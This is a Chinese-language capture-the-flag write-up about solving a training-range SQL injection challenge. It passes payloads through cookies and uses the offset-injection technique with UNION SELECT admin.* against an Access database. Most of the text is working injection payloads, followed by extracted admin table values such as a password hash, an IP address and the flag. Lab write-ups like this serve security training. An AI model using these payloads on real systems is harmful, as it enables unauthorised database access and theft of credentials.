1. 程式人生 > 其它 >封神臺-偏移注入

封神臺-偏移注入

前言

靶場採用Access資料庫,而且對於其餘傳參進行了限制,只可通過Cookie方式進行傳參;然後通過偏移注入方式獲取資料

靶場實戰
我們進入靶場,然後進入到產品中心頁,隨便點選一條產品產看詳細資訊

我們注意到這裡也是有id傳參的,而且通過Cookie注入的學習我們知道這裡是有防護的;所以我們只能通過Cookie傳參進行防護測試

判斷注入存在

去掉id傳參後
document.cookie="id="+escape("105 and 1=1") #訪問頁面正常
document.cookie="id="+escape("105 and 1=2") #訪問頁面錯誤

可以證明注入存在

判斷欄位數

document.cookie="id="+escape("105 order by 26") #頁面正常
document.cookie="id="+escape("105 order by 27") #頁面異常

得出欄位數為:26

判斷顯錯位

document.cookie="id="+escape("105 and 1=2 union select 100000,200000,300000,400000,500000,600000,700000,800000,900000,1000000,1100000,1200000,1300000,1400000,1500000,1600000,1700000,1800000,1900000,2000000,2100000,2200000,2300000,2400000,2500000,2600000 from admin")

然後檢視網頁原始碼搜尋定位5個0

我們注意到顯錯位除了3,5,7還有隱藏顯錯點27

接下來我們就可以利用顯錯點進行偏移注入查詢

首先我們經過不斷嘗試得出admin.*欄位數為16

# 查詢admin表的1,3,5欄位
document.cookie="id="+escape("105 and 1=2 union select 100000,200000,admin.*,1900000,2000000,2100000,2200000,2300000,2400000,2500000,2600000 from admin")
分別為:1,b9a2a2b5dffb918c,223.73.73.47

# 查詢admin表的2,4,6欄位
document.cookie="id="+escape("105 and 1=2 union select 100000,admin.*,1800000,1900000,2000000,2100000,2200000,2300000,2400000,2500000,2600000 from admin")
分別為:admin,1,2021-9-5 18:20:06

# 查詢admin表的3,5,7欄位
document.cookie="id="+escape("105 and 1=2 union select admin.*,1700000,1800000,1900000,2000000,2100000,2200000,2300000,2400000,2500000,2600000 from admin")
分別為:b9a2a2b5dffb918c,223.73.73.47,2003-9-25 23:13:38 

我們發現這些都不是我們想要的

我們看一下提示,不出意外,想要我們的flag就只能利用隱藏輸出位25

我們嘗試一下

# 輸出admin表最後一個欄位
document.cookie="id="+escape("105 and 1=2 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin")

得出flag為:zkaq{f0e12dafb6}

經過驗證flag正確!